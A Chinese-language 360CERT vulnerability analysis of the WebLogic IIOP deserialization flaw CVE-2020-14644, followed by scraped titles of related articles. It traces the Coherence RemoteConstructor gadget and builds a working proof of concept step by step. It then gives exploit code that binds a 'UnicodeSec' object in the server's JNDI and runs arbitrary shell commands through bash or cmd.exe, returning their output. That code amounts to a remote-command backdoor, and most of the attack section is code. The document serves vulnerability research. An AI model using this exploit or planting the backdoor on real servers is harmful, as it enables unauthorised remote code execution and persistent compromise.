报告编号:B6-2020-081101

报告来源:360CERT

报告作者:ph4nt0mer

更新日期:2020-08-11

0x01 weblogic 受影响版本

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

0x02 环境准备

1、安装weblogic server版本。

安装weblogic_server可以参考https://blog.csdn.net/qq_36868342/article/details/79967606。

2、生成wlfullclient.jar包

wlfullclient可以通过,在安装完weblogic服务以后,来到~/Oracle/Middleware/Oracle_Home/wlserver/server/lib目录,运行java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar,就会在lib目录下生成一个wlfullclient.jar包。这个wlfullclient.jar包包含了weblogic的基本所有功能类。

3、在IDEA新建一个工程文件。把coherence.jar包和wlfullclient.jar包放在同一个目录下,同时添加到库里。

0x03 反序列化gadget分析。

这次iiop的关键反序列化类是RemoteConstructor。代码如下:

 Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package com.tangosol.internal.util.invoke;import com.tangosol.io.ClassLoaderAware;import com.tangosol.io.ExternalizableLite;import com.tangosol.io.SerializationSupport;import com.tangosol.io.Serializer;import com.tangosol.io.SerializerAware;import com.tangosol.io.pof.PofReader;import com.tangosol.io.pof.PofWriter;import com.tangosol.io.pof.PortableObject;import com.tangosol.util.Base;import com.tangosol.util.ExternalizableHelper;import java.io.DataInput;import java.io.DataOutput;import java.io.IOException;import java.io.ObjectStreamException;import java.io.Serializable;import java.util.Arrays;import javax.json.bind.annotation.JsonbProperty;public class RemoteConstructor implements ExternalizableLite, PortableObject, SerializationSupport, SerializerAware {    @JsonbProperty("definition")    protected ClassDefinition m_definition;    @JsonbProperty("args")    protected Object[] m_aoArgs;    private transient Serializer m_serializer;protected transient ClassLoader m_loader;    public RemoteConstructor() {}    public RemoteConstructor(ClassDefinition definition, Object[] aoArgs) {this.m_definition = definition;        for(int i = 0; i < aoArgs.length; ++i) {            Object arg = aoArgs[i];            aoArgs[i] = Lambdas.isLambda(arg) ? Lambdas.ensureRemotable((Serializable)arg) : arg;}        this.m_aoArgs = aoArgs;}    public ClassIdentity getId() {        return this.getDefinition().getId();}    public ClassDefinition getDefinition() {        return this.m_definition;}    public Object[] getArguments() {        return this.m_aoArgs;}    public T newInstance() {        RemotableSupport support = RemotableSupport.get(this.getClassLoader());        return support.realize(this);}    protected ClassLoader getClassLoader() {        ClassLoader loader = this.m_loader;        return loader == null ? Base.getContextClassLoader(this) : loader;}    public boolean equals(Object o) {        if (!(o instanceof RemoteConstructor)) {            return false;        } else {            RemoteConstructor> that = (RemoteConstructor)o;            return this == that || this.getClass() == that.getClass() && Base.equals(this.m_definition, that.m_definition) && Base.equalsDeep(this.m_aoArgs, that.m_aoArgs);        }}    public int hashCode() {        int nHash = this.m_definition.hashCode();        nHash = 31 * nHash + Arrays.hashCode(this.m_aoArgs);        return nHash;}    public String toString() {        return "RemoteConstructor{definition=" + this.m_definition + ", arguments=" + Arrays.toString(this.m_aoArgs) + '}';}    public void readExternal(DataInput in) throws IOException {        this.m_definition = (ClassDefinition)ExternalizableHelper.readObject(in);Object[] aoArgs = this.m_aoArgs = new Object[ExternalizableHelper.readInt(in)];        for(int i = 0; i < aoArgs.length; ++i) {            aoArgs[i] = ExternalizableHelper.readObject(in);}}    public void writeExternal(DataOutput out) throws IOException {        ExternalizableHelper.writeObject(out, this.m_definition);        Object[] aoArgs = this.m_aoArgs;        ExternalizableHelper.writeInt(out, aoArgs.length);        Object[] var3 = aoArgs;int var4 = aoArgs.length;        for(int var5 = 0; var5 < var4; ++var5) {            Object o = var3[var5];            ExternalizableHelper.writeObject(out, o);}}    public void readExternal(PofReader in) throws IOException {        this.m_definition = (ClassDefinition)in.readObject(0);        this.m_aoArgs = in.readArray(1, (x$0) -> {            return new Object[x$0];        });}    public void writeExternal(PofWriter out) throws IOException {        out.writeObject(0, this.m_definition);        out.writeObjectArray(1, this.m_aoArgs);}    public Object readResolve() throws ObjectStreamException {        return this.newInstance();}    public Serializer getContextSerializer() {        return this.m_serializer;}    public void setContextSerializer(Serializer serializer) {        this.m_serializer = serializer;        if (serializer instanceof ClassLoaderAware) {            this.m_loader = ((ClassLoaderAware)serializer).getContextClassLoader();}    }}

RemoteConstructor实现了ExternalizableLite接口,ExternalizableLite接口继承了Serializable,所以这个RemoteConstructor类是可以进行序列化的。

该类里没有readobject函数,但有readResolve函数。详细了解可以参考https://blog.csdn.net/Leon_cx/article/details/81517603

目前总结如下:

  • 必须实现Serializable接口或Externalizable接口的类才能进行序列化
  • transient和static修饰符修饰的成员变量不会参与序列化和反序列化
  • 反序列化对象和序列化前的对象的全类名和serialVersionUID必须一致
  • 在目标类中添加私有的writeObject和readObject方法可以覆盖默认的序列化和反序列化方法
  • 在目标类中添加私有的readResolve可以最终修改反序列化回来的对象,可用于单例模式防止序列化导致生成第二个对象的问题

readResolve操作是在readobject后面,所以readResolve会覆盖readobject的内容。

查看下readResolve函数的内容:

public Object readResolve() throws ObjectStreamException {        return this.newInstance();    }public T newInstance() {        RemotableSupport support = RemotableSupport.get(this.getClassLoader());        return support.realize(this);}

getClassLoader()代码:

    protected ClassLoader getClassLoader() {        ClassLoader loader = this.m_loader;        return loader == null ? Base.getContextClassLoader(this) : loader;}

根据RemoteConstructor的构造函数可知。我们先写个大框架:

public class App2 {    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {        /*ClassIdentity classIdentity = new ClassIdentity(                org.iiop.test1.class);*/        RemoteConstructor remoteConstructor = new RemoteConstructor(                new ClassDefinition(),                new Object[]{});byte[] serialize= Serializables.serialize(remoteConstructor);        try {            Serializables.deserialize(serialize);        } catch (ClassNotFoundException e) {            e.printStackTrace();}    }}

因为this.m_loader是transient修饰的,所以loader会是null,返回的是Base.getContextClassLoader(this)。

看下RemotableSupport里面的realize方法:

public  T realize(RemoteConstructor constructor) {        ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition());        Class extends Remotable> clz = definition.getRemotableClass();        if (clz == null) {            synchronized(definition) {                clz = definition.getRemotableClass();                if (clz == null) {                    definition.setRemotableClass(this.defineClass(definition));                }            }}        Remotable instance = (Remotable)definition.createInstance(constructor.getArguments());        instance.setRemoteConstructor(constructor);        return instance;}

第一张图片的报错是在registerIfAbsent方法里,因为ClassDefinition我们定义的是空,所以取到definition.getId()为null。

protected ClassDefinition registerIfAbsent(ClassDefinition definition) {assert definition != null;        ClassDefinition rtn = (ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition);        return rtn == null ? definition : rtn;}

然后导致(ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition)报错了

那我们接着看一下ClassDefinition是做啥的,必须给他一个初始化有值的对象,代码如下:

 Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package com.tangosol.internal.util.invoke;import com.tangosol.io.ExternalizableLite;import com.tangosol.io.pof.PofReader;import com.tangosol.io.pof.PofWriter;import com.tangosol.io.pof.PortableObject;import com.tangosol.util.Base;import com.tangosol.util.ClassHelper;import com.tangosol.util.ExternalizableHelper;import java.io.DataInput;import java.io.DataOutput;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.OutputStream;import java.lang.invoke.MethodHandle;import java.lang.invoke.MethodHandles;import java.lang.invoke.MethodType;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import javax.json.bind.annotation.JsonbProperty;public class ClassDefinition implements ExternalizableLite, PortableObject {    protected transient Class extends Remotable> m_clz;    protected transient MethodHandle m_mhCtor;    @JsonbProperty("id")    protected ClassIdentity m_id;    @JsonbProperty("code")protected byte[] m_abClass;    public ClassDefinition() {}    public ClassDefinition(ClassIdentity id, byte[] abClass) {        this.m_id = id;        this.m_abClass = abClass;        String sClassName = id.getName();        Base.azzert(sClassName.length() < 65535, "The generated class name is too long:" + sClassName);}    public ClassIdentity getId() {        return this.m_id;}    public byte[] getBytes() {        return this.m_abClass;}    public Class extends Remotable> getRemotableClass() {        return this.m_clz;}    public void setRemotableClass(Class extends Remotable> clz) {        this.m_clz = clz;        Constructor>[] aCtor = clz.getDeclaredConstructors();        if (aCtor.length == 1) {            try {                MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes());                this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType);            } catch (IllegalAccessException | NoSuchMethodException var4) {                throw Base.ensureRuntimeException(var4);            }}}    public Object createInstance(Object... aoArgs) {        try {            return this.getConstructor(aoArgs).invokeWithArguments(aoArgs);        } catch (NoSuchMethodException var10) {            Constructor[] aCtors = this.m_clz.getDeclaredConstructors();            Constructor[] var4 = aCtors;int var5 = aCtors.length;            for(int var6 = 0; var6 < var5; ++var6) {                Constructor ctor = var4[var6];                if (ctor.getParameterTypes().length == aoArgs.length) {                    try {                        return ctor.newInstance(aoArgs);                    } catch (InvocationTargetException | IllegalAccessException | IllegalArgumentException | InstantiationException var9) {                    }                }}            throw Base.ensureRuntimeException(var10);        } catch (Throwable var11) {            throw Base.ensureRuntimeException(var11);        }}    protected MethodHandle getConstructor(Object[] aoArgs) throws NoSuchMethodException {        if (this.m_mhCtor != null) {            return this.m_mhCtor;        } else {Class[] aParamTypes = ClassHelper.getClassArray(aoArgs);            try {                MethodType ctorType = MethodType.methodType(Void.TYPE, ClassHelper.unwrap(aParamTypes));                return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);            } catch (NoSuchMethodException var6) {                try {                    MethodType ctorType = MethodType.methodType(Void.TYPE, aParamTypes);                    return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);                } catch (IllegalAccessException var5) {                    throw Base.ensureRuntimeException(var5);                }            } catch (IllegalAccessException var7) {                throw Base.ensureRuntimeException(var7);            }        }}    public void dumpClass(String sDir) {        if (sDir != null) {            File dirDump = new File(sDir, this.m_id.getPackage());            boolean fDisabled = dirDump.isFile() || !dirDump.exists() && !dirDump.mkdirs();            if (!fDisabled) {                try {                    OutputStream os = new FileOutputStream(new File(dirDump, this.m_id.getSimpleName() + ".class"));Throwable var5 = null;                    try {                        os.write(this.m_abClass);                    } catch (Throwable var15) {                        var5 = var15;                        throw var15;                    } finally {                        if (os != null) {                            if (var5 != null) {                                try {                                    os.close();                                } catch (Throwable var14) {                                    var5.addSuppressed(var14);                                }                            } else {                                os.close();                            }}                    }                } catch (IOException var17) {                }            }}}    public boolean equals(Object o) {        if (!(o instanceof ClassDefinition)) {            return false;        } else {            ClassDefinition that = (ClassDefinition)o;            return this == that || this.getClass() == that.getClass() && Base.equals(this.m_id, that.m_id);        }}    public int hashCode() {        return this.m_id.hashCode();}    public String toString() {        return "ClassDefinition{id=" + this.m_id + '}';}    public void readExternal(DataInput in) throws IOException {        this.m_id = (ClassIdentity)ExternalizableHelper.readObject(in);        this.m_abClass = ExternalizableHelper.readByteArray(in);}    public void writeExternal(DataOutput out) throws IOException {        ExternalizableHelper.writeObject(out, this.m_id);        ExternalizableHelper.writeByteArray(out, this.m_abClass);}    public void readExternal(PofReader in) throws IOException {        this.m_id = (ClassIdentity)in.readObject(0);        this.m_abClass = in.readByteArray(1);}    public void writeExternal(PofWriter out) throws IOException {        out.writeObject(0, this.m_id);        out.writeByteArray(1, this.m_abClass);    }}

新框架代码如下:

public class App2 {public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {ClassIdentity classIdentity = new ClassIdentity();        ClassDefinition classDefinition = new ClassDefinition(                classIdentity,new byte[]{});        RemoteConstructor remoteConstructor = new RemoteConstructor(                classDefinition,                new Object[]{});byte[] serialize= Serializables.serialize(remoteConstructor);        try {            Serializables.deserialize(serialize);        } catch (ClassNotFoundException e) {            e.printStackTrace();}    }}

还是null,说明要对classIdentity也进行赋值初始化,classIdentity的构造函数如下:

public ClassIdentity(Class> clazz) {        this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz)));}    protected ClassIdentity(String sPackage, String sBaseName, String sVersion) {        this.m_sPackage = sPackage;        this.m_sBaseName = sBaseName;        this.m_sVersion = sVersion;}

可知ClassIdentity是一个new class。我们再同目录下创建一个test1的类。代码如下:

package org.iiop;public class test1{    static {        System.out.println("success");}}

执行代码放在优先级最高的static里。

修改代码:

ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);        ClassDefinition classDefinition = new ClassDefinition(                classIdentity,new byte[]{});

definition.getId()终于不是null了。

最终来到

definseClass可以通过https://xz.aliyun.com/t/2272学习,我们可以看到sClassName已经是test1的值,但是abClass还是byte[0],按理abClass里面存储的应该是test1的bytes值,所以我们需要想办法把abClass的值改成test1的bytes。一种是反射来修改,一种是看abClass是在哪里复制的。

这里我们采取第二种方法,因为byte[] abClass = definition.getBytes();通过可知,abClass是通过definition来赋值的,但是definition我们前面在初始化的时候,只给了类名,没有给bytes,所以我们修改下代码。类的操作可以通过javassist库来进行操作。

代码修改如下:

ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);        ClassPool cp = ClassPool.getDefault();        CtClass ctClass = cp.get(org.iiop.test1.class.getName());        ctClass.replaceClassName(org.iiop.test1.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());System.out.println(ctClass.toString());        ClassDefinition classDefinition = new ClassDefinition(                classIdentity,ctClass.toBytecode());

因为之前看到的sClassName是test1$+十六进制,所以要做个replaceClassName的替换操作。 不替换前:

替换后:

运行之后:

成功把test1的内容给执行了,但是还有个报错。 org.iiop.test1$0BC03FF199F8E95021E1281BDFAAA032 cannot be cast to com.tangosol.internal.util.invoke.Remotable没有实现Remotable接口,那就改写下test1。

package org.iiop;import com.tangosol.internal.util.invoke.Remotable;import com.tangosol.internal.util.invoke.RemoteConstructor;public class test1 implements Remotable {    static {        System.out.println("success");}    @Override    public RemoteConstructor getRemoteConstructor() {        return null;}    @Overridepublic void setRemoteConstructor(RemoteConstructor remoteConstructor) {    }}

最终成功,无报错:

基本框架结束以后,在外面套一个T3协议或者iiop发送出去,即可rce。因为使用的是defineClass所以是可以直接回显的。 这边我直接给出UnicodeSec的利用iiop回显代码,其中有个小bug,我修改了一下一点点代码: 因为他的逻辑是if(iiopCtx.lookup("UnicodeSec") == null)我在测试过程中发现,因为第一次不存在UnicodeSec一定会是报错,导致一直不能进入rebind,一直循环在if这里,所以我采用try的方法,其他代码不变

package org.iiop;import com.tangosol.internal.util.invoke.ClassDefinition;import com.tangosol.internal.util.invoke.ClassIdentity;import com.tangosol.internal.util.invoke.RemoteConstructor;import javassist.ClassPool;import javassist.CtClass;import weblogic.cluster.singleton.ClusterMasterRemote;import weblogic.jndi.Environment;import javax.naming.Context;import javax.naming.NamingException;import java.rmi.RemoteException;/** * created by UnicodeSec potatso */public class App {    public static void main(String[] args) throws Exception {        String text = "                   ___   ___ ___   ___        __ __ _  _     __ _  _   _  _                     " +                "                  |__  / _ __  / _       /_ /_ | || |   / /| || | | || |                    " +                "   _____   _____     ) | | | | ) | | | |______| || | || |_ / /_| || |_| || |_    _____  ___ __  " +                "  / __  / / _    / /| | | |/ /| | | |______| || |__   _| '_ __   _|__   _|  / _  / / '_  " +                " | (__  V /  __/  / /_| |_| / /_| |_| |      | || |  | | | (_) | | |    | |   |  __/>  

test的代码:

package org.iiop;import com.tangosol.internal.util.invoke.Remotable;import com.tangosol.internal.util.invoke.RemoteConstructor;import weblogic.cluster.singleton.ClusterMasterRemote;import javax.naming.Context;import javax.naming.InitialContext;import java.io.BufferedReader;import java.io.InputStreamReader;import java.rmi.RemoteException;import java.util.ArrayList;import java.util.List;public class test implements Remotable, ClusterMasterRemote {    static {        try {            String bindName = "UnicodeSec";            Context ctx = new InitialContext();            test remote = new test();            ctx.rebind(bindName, remote);            System.out.println("installed");        } catch (Exception var1) {            var1.printStackTrace();        }}public test() {}    @Override    public RemoteConstructor getRemoteConstructor() {        return null;}    @Overridepublic void setRemoteConstructor(RemoteConstructor remoteConstructor) {}    @Overridepublic void setServerLocation(String var1, String var2) throws RemoteException {}    @Override    public String getServerLocation(String cmd) throws RemoteException {try {            boolean isLinux = true;            String osTyp = System.getProperty("os.name");            if (osTyp != null && osTyp.toLowerCase().contains("win")) {                isLinux = false;            }List cmds = new ArrayList();            if (isLinux) {                cmds.add("/bin/bash");                cmds.add("-c");                cmds.add(cmd);            } else {                cmds.add("cmd.exe");                cmds.add("/c");                cmds.add(cmd);}            ProcessBuilder processBuilder = new ProcessBuilder(cmds);            processBuilder.redirectErrorStream(true);Process proc = processBuilder.start();            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));StringBuffer sb = new StringBuffer();            String line;            while ((line = br.readLine()) != null) {                sb.append(line).append("");}            return sb.toString();        } catch (Exception e) {            return e.getMessage();        }    }}

第一次发送会报错,因为在rebind,第二次就会回显:

0x04 总结

这是一次相对其他较简单的gadget分析,需要了解iiop,cobra,反序列化,序列化等相关知识,同时还需要了解javassist和defineClass的知识。

0x05 weblogic全球态势

0x06 参考

Oracle cve 2020-14644 分析利用以及回显思路 defineClass在java反序列化当中的利用
https://xz.aliyun.com/t/2272

fastjson 序列化 不包括转义字符_CVE-2020-14644 weblogic iiop反序列化漏洞分析相关推荐

  1. fastjson 序列化 不包括转义字符_fastjson再次发现漏洞,可能发生OOM导致宕机

    发现漏洞:issue2689 2019年9月2号有开发者在fastjson的仓库提了一个issue:Fastjson新版本解析到特定字符后直接触发异常. 具体问题是:字符串中包含x转义字符时可能引发O ...

  2. fastjson 序列化 不包括转义字符_fastjson黑盒测试与白盒审计

    简介与漏洞史 java处理JSON数据有三个比较流行的类库,gson(google维护).jackson.以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java l ...

  3. Fastjson 1.2.68版本反序列化漏洞分析篇

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | ale_wong@云影实验室 来源 | htt ...

  4. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  5. fastjson反序列化map_最新fastjson反序列化漏洞分析

    前言 写的有点多,可能对师傅们来说比较啰嗦,不过这么写完感觉自己也就明白了 poc newPoc.javaimport com.alibaba.fastjson.JSON; public class ...

  6. java序列化_技术干货 | JAVA反序列化漏洞

    目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collec ...

  7. com.alibaba.fastjson 序列化 反序列

    fastjson  序列化 反序列 目录 fastjson  序列化 反序列 序列化 SerializeWriter成员变量 一 SerializeWriter成员函数 1 序列化整形数字 2 序列化 ...

  8. Java基础/利用fastjson序列化对象为JSON

    利用fastjson序列化对象为JSON 参考博客:http://blog.csdn.net/zeuskingzb/article/details/17468079 Step1:定义实体类 //用户类 ...

  9. 【Android Protobuf 序列化】Protobuf 性能测试 ( fastjson 序列化与反序列化 | gson 序列化与反序列化 | 三种序列化与反序列化性能对比 )

    文章目录 一.导入依赖库 二.构造 JavaBean 三.fastjson 序列化与反序列化 四.gson 序列化与反序列化 五.完整代码 1.主界面代码 2.JSON 测试代码 3.执行结果 六.参 ...

最新文章

  1. stm32g474教程_STM32-开发入门教程
  2. 如何真正提高ASP.NET网站的性能
  3. datanucleus_DataNucleus 3.0与Hibernate 3.5
  4. 反斜杠转义mysql java_mysql数据库中的反斜杠”\“怎么使用Java进行转义
  5. 飞鸽传书也在2010年免费发布了
  6. 离线安装 Android 4.0 SDK
  7. 做三维模型_这几款倾斜实景三维裸眼3D采集软件你了解吗?
  8. 命令级的python静态资源服务。
  9. java运算符重载_为什么Java不支持运算符重载?
  10. 如何开始在 Mac 上使用快捷方式?
  11. 老板放过我吧!我Java8还没用呢,又让我学习Java14
  12. TINA-TI仿真软件使用教程
  13. PTA程序设计基础题目集(1)
  14. php根据参数跳转到指定网址,根据访问的域名跳转到指定目录的代码
  15. 鸿蒙系统安全模式,安全模式怎么连接wifi
  16. MapX系列-- 地图浏览
  17. android的app,用java程序开发
  18. 华为 oj java题库_华为OJ题目:刷题
  19. 入坑slam,一位博士小姐姐的科研和成长分享(考研+读研+读博)
  20. ie 和火狐兼容问题

热门文章

  1. 3GPP R18确定27个研究项目,看看包含哪些?
  2. 《学习如何学习》Week1 3.4 名人采访3: 如何写作?
  3. java weblogic.wlst_Weblogic - 使用Wlst获取部署类型
  4. 《MLB棒球创造营》:棒球团建·一球入魂
  5. 啊哈c语言有函数么,啊哈c-啊哈c为什么不能运行??如图
  6. 道教圣地青城山有一副名联:事在人为……
  7. 组合框里添加复选框的方法
  8. Ubuntu16.04安装Nvidia显卡驱动(cuda)
  9. 矩阵乘法与点乘的区别
  10. 达人评测 酷睿i5 12450h和锐龙r7 5800h选哪个好 i512450h和r75800h对比